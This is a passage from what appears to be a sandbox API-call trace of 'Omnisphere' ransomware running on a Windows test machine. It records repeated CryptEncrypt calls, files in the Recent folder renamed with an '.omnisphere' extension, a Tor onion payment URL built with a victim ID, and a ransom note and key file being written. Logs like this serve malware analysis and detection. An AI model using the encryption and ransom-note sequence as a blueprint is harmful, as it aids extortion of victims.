pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.955] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.956] CryptDestroyKey (hKey=0x1639b68) returned 1 [0118.956] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.956] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x43e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.956] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.956] GetProcessHeap () returned 0x1600000 [0118.956] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16b0320 [0118.956] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\39aq.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\39aq.lnk.omnisphere")) returned 1 [0118.957] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk.omnisphere.id" [0118.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\39aq.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.957] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.958] CloseHandle (hObject=0x3c0) returned 1 [0118.959] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.959] CloseHandle (hObject=0x288) returned 1 [0118.959] SetEndOfFile (hFile=0x28c) returned 1 [0118.959] FlushFileBuffers (hFile=0x28c) returned 1 [0118.964] CloseHandle (hObject=0x28c) returned 1 [0118.964] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\39aQ.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.964] GetProcessHeap () returned 0x1600000 [0118.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b05d0 [0118.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.964] GetProcessHeap () returned 0x1600000 [0118.964] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693df0 [0118.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693df0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.964] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.965] GetProcessHeap () returned 0x1600000 [0118.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1686e28 [0118.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1686e28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.965] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.965] GetProcessHeap () returned 0x1600000 [0118.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2028 [0118.965] PathCombineW (in: pszDest=0x16a2028, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.965] GetProcessHeap () returned 0x1600000 [0118.965] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16ab958 [0118.965] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.965] WriteFile (in: hFile=0x28c, lpBuffer=0x16ab958*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16ab958*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.965] CloseHandle (hObject=0x28c) returned 1 [0118.965] GetProcessHeap () returned 0x1600000 [0118.965] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b05d0 | out: hHeap=0x1600000) returned 1 [0118.965] GetProcessHeap () returned 0x1600000 [0118.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.966] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0118.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.966] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0118.966] CloseHandle (hObject=0x28c) returned 1 [0118.966] GetProcessHeap () returned 0x1600000 [0118.966] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.966] GetProcessHeap () returned 0x1600000 [0118.966] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e868 | out: hHeap=0x1600000) returned 1 [0118.966] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2194358e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2194358e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2194358e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="4vvwNb6.lnk", cAlternateFileName="")) returned 1 [0118.966] GetProcessHeap () returned 0x1600000 [0118.966] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165dfa8 [0118.966] PathCombineW (in: pszDest=0x165dfa8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="4vvwNb6.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk" [0118.966] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.966] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4vvwNb6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\4vvwnb6.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.967] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=944) returned 1 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] GetTickCount () returned 0x115dba7 [0118.967] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668928) returned 1 [0118.968] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.968] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.968] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.968] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0118.968] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x288 [0118.968] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x1480000 [0118.968] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0118.969] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0118.969] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.969] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.970] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, 